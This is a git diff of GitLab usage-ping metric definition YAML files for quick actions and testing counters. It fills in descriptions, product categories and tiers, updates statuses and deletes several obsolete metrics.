diff --git a/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml b/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml
deleted file mode 100644
index 073539710e3..00000000000
--- a/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_remove_iteration_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml b/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml
index 2ee78d245f9..c3faaf91c0a 100644
--- a/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml
+++ b/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_remove_milestone_monthly
-description:
+description: Count of MAU using the `/remove_milestone` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml b/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml
deleted file mode 100644
index fffcbc6807d..00000000000
--- a/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml b/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml
index 3ecaaa970f0..204c3369837 100644
--- a/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml
+++ b/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_remove_time_spent_monthly
-description:
+description: Count of MAU using the `/remove_time_spent` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml b/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml
index bb42563e34c..fcc04db33b8 100644
--- a/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml
+++ b/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_remove_zoom_monthly
-description:
+description: Count of MAU using the `/remove_zoom` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml b/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml
index eea7e3672ea..863c61968af 100644
--- a/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml
+++ b/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_reopen_monthly
-description:
+description: Count of MAU using the `/reopen` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml b/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml
index 302cad17efd..0c4f6733999 100644
--- a/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml
+++ b/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_shrug_monthly
-description:
+description: Count of MAU using the `/shrug` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml b/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml
index 01d87e2e8fb..74d8e8e7ad3 100644
--- a/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml
+++ b/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_spend_subtract_monthly
-description:
+description: Count of MAU using the `/spend` quick action to subtract time spent
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: time_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml b/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml
index e80f988cf7a..619996168d2 100644
--- a/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml
+++ b/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_spend_add_monthly
-description:
+description: Count of MAU using the `/spend` quick action to add time spent
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml b/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml
index 61077b79a6f..3708266fd04 100644
--- a/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml
+++ b/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_submit_review_monthly
-description:
+description: Count of MAU using the `/submit_review` quick action on Merge Requests
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::code review
+product_category: code_review
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml b/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml
index 20934358839..be39d3c91c6 100644
--- a/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml
+++ b/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_subscribe_monthly
-description:
+description: Count of MAU using the `/subscribe` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml b/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml
index a390fb11746..6c1f138971f 100644
--- a/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml
+++ b/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_tableflip_monthly
-description:
+description: Count of MAU using the `/tableflip` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml b/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml
index f8f078f5f27..2acae16666a 100644
--- a/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml
+++ b/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_tag_monthly
-description:
+description: Count of MAU using the `/tag` quick action
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml b/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml
index dd730656292..e0d0c008b72 100644
--- a/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml
+++ b/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_target_branch_monthly
-description:
+description: Count of MAU using the `/target_branch` quick action on Merge Requests
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml b/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml
index ea3e2179ba6..3caea4e2eb5 100644
--- a/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml
+++ b/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_title_monthly
-description:
+description: Count of MAU using the `/title` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml b/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml
index f50c85bcb2d..cff94935c33 100644
--- a/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml
+++ b/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_todo_monthly
-description:
+description: Count of MAU using the `/todo` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml b/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml
index c17a807aaee..d2924129056 100644
--- a/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml
+++ b/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_specific_monthly
-description:
+description: Count of MAU using the `/unassign @user1` quick action on Merge Requests
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml b/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml
index 294dd992bf0..da7317161c8 100644
--- a/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml
+++ b/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_all_monthly
-description:
+description: Count of MAU using the `/unassign` quick action on Merge Requests
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml b/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml
index a264457a478..f807469caf6 100644
--- a/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml
+++ b/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_monthly
-description:
+description: Count of MAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::code review
+product_category: code_review
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml b/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml
index c4c9dc56cfd..3e33f8ce3a1 100644
--- a/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml
+++ b/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_specific_monthly
-description:
+description: Count of MAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml b/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml
index 45c44218cbd..f32c83f940e 100644
--- a/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml
+++ b/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_all_monthly
-description:
+description: Count of MAU using the `/unlabel` quick action to remove all labels
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml b/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml
index b9edfa92c20..bb1b636661d 100644
--- a/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml
+++ b/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unlock_monthly
-description:
+description: Count of MAU using the `/unlock` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml b/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml
index d54e8a4ab85..c3461c4f015 100644
--- a/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml
+++ b/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_unsubscribe_monthly
-description:
+description: Count of MAU using the `/unsubscribe` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml b/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml
deleted file mode 100644
index 68caac40ead..00000000000
--- a/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_weight_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml b/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml
index 419af8a68ee..e85ddf9bf2b 100644
--- a/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml
+++ b/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_wip_monthly
-description:
+description: Count of MAU using the `/wip` quick action on Merge Requests
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml b/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml
index 0af363b6429..03df4769081 100644
--- a/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml
+++ b/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_zoom_monthly
-description:
+description: Count of MAU using the `/zoom` quick action on Issues
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml b/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml
index 15369757cb8..fa4b6b14946 100644
--- a/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml
+++ b/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml b/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml
deleted file mode 100644
index 1a475b19f01..00000000000
--- a/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml
+++ /dev/null
@@ -1,20 +0,0 @@
----
-key_path: redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_monthly
-description: Internal Tracking to count number of unit tests parsed for planning of
- future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
-product_section: ops
-product_stage: verify
-product_group: group::testing
-product_category: code_testing
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml b/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml
deleted file mode 100644
index bf1315b9e50..00000000000
--- a/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml
+++ /dev/null
@@ -1,18 +0,0 @@
----
-key_path: usage_activity_by_stage_monthly.secure.user_preferences_group_overview_security_dashboard
-description: Users who set personal preference to see Security Dashboard on Group
- overview page
-product_section: sec
-product_stage: secure
-product_group: group::threat insights
-product_category: vulnerability_management
-value_type: number
-status: data_available
-time_frame: 28d
-data_source:
-distribution:
-- ce
-- ee
-tier:
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml b/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml
index f4723c2b5a1..1f9832b220d 100644
--- a/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml
+++ b/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml
@@ -1,16 +1,21 @@
---
key_path: counts_monthly.aggregated_metrics.product_analytics_test_metrics_union
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: collection
value_type: number
-status: data_available
-time_frame: 28d
-data_source: database
+status: removed
+milestone_removed: '13.11'
+milestone: '13.7'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49886
+time_frame: 7d
+data_source: redis_hll
distribution:
-- ce
+ - ce
+ - ee
tier:
-- free
-skip_validation: true
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml b/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml
index fe8073f3f33..171b2a0a032 100644
--- a/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml
+++ b/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml
@@ -1,16 +1,21 @@
---
key_path: counts_monthly.aggregated_metrics.product_analytics_test_metrics_intersection
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: collection
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.11'
+milestone: '13.7'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49886
time_frame: 28d
-data_source: database
+data_source: redis_hll
distribution:
-- ce
+ - ce
+ - ee
tier:
-- free
-skip_validation: true
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml b/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml
deleted file mode 100644
index 367cfb77c09..00000000000
--- a/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts_monthly.aggregated_metrics.i_testing_paid_monthly_active_user_total
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml
index 12d51d8d560..381f691fe27 100644
--- a/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml
@@ -6,11 +6,10 @@ product_stage: ''
product_group: ''
product_category: ''
value_type: number
-status: data_available
+status: removed
time_frame: 28d
data_source: redis_hll
distribution:
- ce
tier:
- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml
index 59771f0f021..a052c79584e 100644
--- a/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.quickactions_total_unique_counts_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of MAU using one or more quick actions
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml b/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml
index 72297a39264..3541c7d48ef 100644
--- a/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml
+++ b/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml
@@ -6,7 +6,7 @@ product_stage: plan
product_group: group::product planning
product_category: issue_tracking
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49264
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml b/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml
index b64a08cb0c2..c4848444e75 100644
--- a/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml
+++ b/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml
@@ -6,7 +6,7 @@ product_stage: plan
product_group: group::product planning
product_category: issue_tracking
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49264
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml b/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml
index 69ad9237f0d..902c9162456 100644
--- a/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55046
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml b/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml
index 36972b7e168..b98fa24a789 100644
--- a/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55046
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml b/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml
index 9ad7ff81231..109bf35b1c6 100644
--- a/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml
+++ b/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55069
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml b/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml
index 707a2fc76d1..1bf8d97ea59 100644
--- a/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml
+++ b/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55069
time_frame: 28d
